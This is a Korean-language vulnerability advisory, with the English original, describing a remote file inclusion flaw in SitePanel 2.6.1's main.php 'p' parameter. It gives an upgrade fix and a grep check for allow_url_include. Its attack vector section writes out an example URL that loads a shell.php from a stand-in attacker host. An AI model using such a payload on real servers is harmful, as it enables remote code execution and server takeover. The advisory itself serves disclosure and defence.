🇰🇷 한글 설명
SitePanel 2.6.1 및 이전 버전의 main.php에서 p 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 임의의 PHP 코드를 원격에서 실행할 수 있습니다.
💡 쉬운 설명
SitePanel 웹사이트 관리 프로그램에서 악의적인 외부 파일을 불러올 수 있는 보안 결함이 있습니다. 이를 악용하면 해커가 서버에서 원하는 명령을 실행할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in main.php in SitePanel 2.6.1 and earlier (SitePanel2) allows remote attackers to execute arbitrary PHP code via the p parameter.
📍 영향받는 시스템
SitePanel 2.6.1 및 이전 모든 버전
⚔️ 공격 벡터
HTTP GET/POST 요청의 p 파라미터에 원격 PHP 파일 URL을 입력하여 실행: http://target/main.php?p=http://attacker.com/shell.php
🛡️ 대응 방법
SitePanel을 2.6.2 이상으로 즉시 업그레이드하거나 p 파라미터의 입력 검증 및 원격 파일 포함(allow_url_include) 비활성화
🔧 검증 코드
allow_url_include가 'On'으로 설정되어 있으면 RFI 취약점 악용 가능 상태이므로 Off로 변경 필요
grep -r 'allow_url_include' /etc/php*/apache2/php.ini /etc/php.ini 2>/dev/null | grep -i on